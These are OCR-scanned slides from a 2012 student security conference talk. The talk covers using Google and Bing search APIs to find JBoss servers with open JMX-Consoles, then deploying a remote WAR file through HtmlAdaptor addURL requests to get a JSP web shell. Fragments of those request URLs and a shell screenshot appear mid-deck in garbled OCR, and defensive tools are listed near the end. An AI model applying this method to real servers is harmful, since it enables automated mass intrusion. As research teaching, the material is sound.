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Motivation IT Security

for the Next Generation
International Student Conference

» Extensive usage of Web 2.0 technologies

* Mostly interested in WS provided by major search engines

Google biNg

YaHoOO!

» How WS can be used in a malicious way?
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Anatomy of an Attack IT Security

Initial Steps for the Next Generation

International Student Conference
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The Proposed Attack Method IT Security

A 3-step Methodology for the Next Generation

International Student Conference
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How to Deploy the Attack IT Security

for the Next Generation
International Student Conference

The attack cannot be identified,
until its deployment !!!
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Implementation Prerequisites IT Security

for the Next Generation
International Student Conference

» Register to get an APPID for either Google or Bing

» The proposed methodology utilizes:

* The “Google Hacking” technique

: JSON / REST / HTTP
* Web 2.0 technologies

— REST approach
— JSON

Client

[{"city": "Paris", "units": "C"}] Server

Request
JSON fservice/weather

e
(REST Interface)

[{("low": "16", "high": "23"}]

HTTP POST

PAGE 6 | "IT Security for the Next Generation", European Cup | 17-19 February, 2012 KASPERS Kv




Kaspersky®*Academy

Implementation IT Security

JBossHacker.py for the Next Generation

International Student Conference

» Implemented in the Python scripting language

« Approximately 50 lines of code

» Supported search engines

« Google
« Microsoft Bing

» What it can do?
» Find servers having their JBoss JMX-Console open
* Deploys an exploit
« Gain command line access via a Web browser

PAGE 7 | "IT Security for the Next Generation", European Cup | 17-19 February, 2012 KASPERS KV



Hands-on
JBossHacker.py - Results

File Edit WView Scrollback Bookmarks Settings Help

Summary

Approximate number of vulnerable

Total

Systems.:

scanned

systems: 48
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IT Security

for the Next Generation
International Student Conference

f]mx console/ Ht’nlﬁdap Dr?a-::tlr:un 1rw0k93p%y‘xarr'e&'mr“9 jboss.depl Dfmﬂntquht?pgqbq_f

1 At 7dxg/mnk 3yytze

f oS l.ll

f 1 mx- cows:ﬂ_efktm .l'-'l.C.:'Ip'tD"_".:-CtIlU"'I—'_I'I'JDkEDDB']-Nﬂ"’IE&Ich‘I‘IE =100sSs. denluyren*%EA*ypEa_—s

%30 |F._\. nethodMame=addURL&argTy a.lang. =http:
http:/,
DURLE&me thodName=addURL
http:i/

s2Cf Lavors3n
wWar
http:// : 8080/ Jmx-console

SDURLE&methodMName=addURL

pe=jav string&argQ

Sl Stri

Lang.
OonNs |_I]_ =¥

gType=java. Lng&argO=http:
f1mx - ¢ tr .-|_u-_J.:|._ tortac

= _1|_| _i'_':r']_-:'_-. ar '__]T YRE —_] ava.

i

RL&methodMame } ang.
JHEtmLAd: |[ To

anner%2Ct Lavor® &argType=java.la
ole.war

http:// Jmx - Adaptor?action=1nvokel
“f Llavor%s3DURL&me thodName=addURL&argType=java. lang.String&arg0=http:
http:/ jmx-console/Html _-'IJ,-t_|
r%3DURL &me thodName=addURL&ar gType=java. lang.String&arg0=http:,
http:/ 'imx - console/HtmLAdaptor okeOpBy

O e SIS T Rl el g | J=NTTR .

e/Html

ONSso

raction=1nv

yaName=aadl 5=]ava. Lang.stringaarc

PAGE 8 | "IT Security for the Next Generation", European Cup

J1mx-console/HtmlAdaptor?action=1nvokeOpByName&name

on=1nvok
:-T_'.' 1ng&argO=htt

action=1
O=htt ;.- :

tring&argc
OpByMNamefind

action=1nvokeOpByName&name=

Mam

| 17-19 February, 2012

i/foSukj4t7dxg/mnk3yytz
ho S deDLDyr'er"“‘aEA ype?aED"

e0OpBy 7
p:

ame=jboss.dep |_ oyme

Po s."s’i'l'S’I'Le;"'“"""I
I;la{:bl‘lle]
= =]S¥~St§ plLoyment%s

deployment%3
0Suk 14t7 -'.| X g,/ mn
boss.deploym
/fosukj4t7dxg/m

By ~J.||

nvoke

edname:)

KASPLRIKY



Kaspersky®Academy

IT Security

for the Next Generation
International Student Conference

Hands-on
JBoss Deployment Scanner

List of MBean attributes:

URLComparator [java.lang.String |org jboss.deployment Dep MBean Attribute.
Filter java.lang.String RW |org jboss deployment sca MBean Attribute.
StateString java.lang.String R Started IMBean Attribute.
State int R 3 IMBean Attribute.
StopTimeOut  |long RW [s0000 MBean Attribute.

RW ¢ False MBean Attribute.

ScanEnabled  boolean

MBean Attribute.

IMBean Attribute.

\Name \java.lang.String |R |URLDeponmentScanner

Deployer javax.management.ObjectName RW iboss system senice=Mai View MBean|MBean Attribute.
ScanPeriod long W |ﬂ MBean Attribute.
URLs java.lang.String W | MBean Attribute.

| Apply Changes I

KASPCR{KY
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Hands-on IT Security

Gaining Command Line Access for the Next Generation

International Student Conference

< wewewe U cmd fomd jsp
< C | © vwww.Egcmd/cmd.jsp

Commands with JSP

| Send |
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How to defend yourself? IT Security

Existing Solutions for the Next Generation

International Student Conference

» Google Hack Yourself

» Rely on Policy and Legal Restrictions

» Google Diggity Project

* Provides an Intrusion Detection System

— Alert RSS Feeds GOOGLE
— Alert RSS Monitoring Tools HACKING DIGGITY

PAGE 11 | "IT Security for the Next Generation", European Cup | 17-19 February, 2012 KASPERS Kv



Kaspersky®Academy

Conclusions IT Security

The Proposed Attack Methodology for the Next Generation

International Student Conference

» What it can do?

» Targets online Web Applications on the Internet
— Not bounded to a single application

« Deploy massive attacks, in an automated way
« Undetectable until the time of deploying the exploit
» High probability of a successful attack, if target satisfies ALL the criteria

» What it cannot do?

* Discover new vulnerabilities

— Prior knowledge of the vulnerability/exploit is required

* No guarantees of a successful attack, if criterias are not met by the target
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Thank You

Antonios Gouglidis, University of Macedonia .
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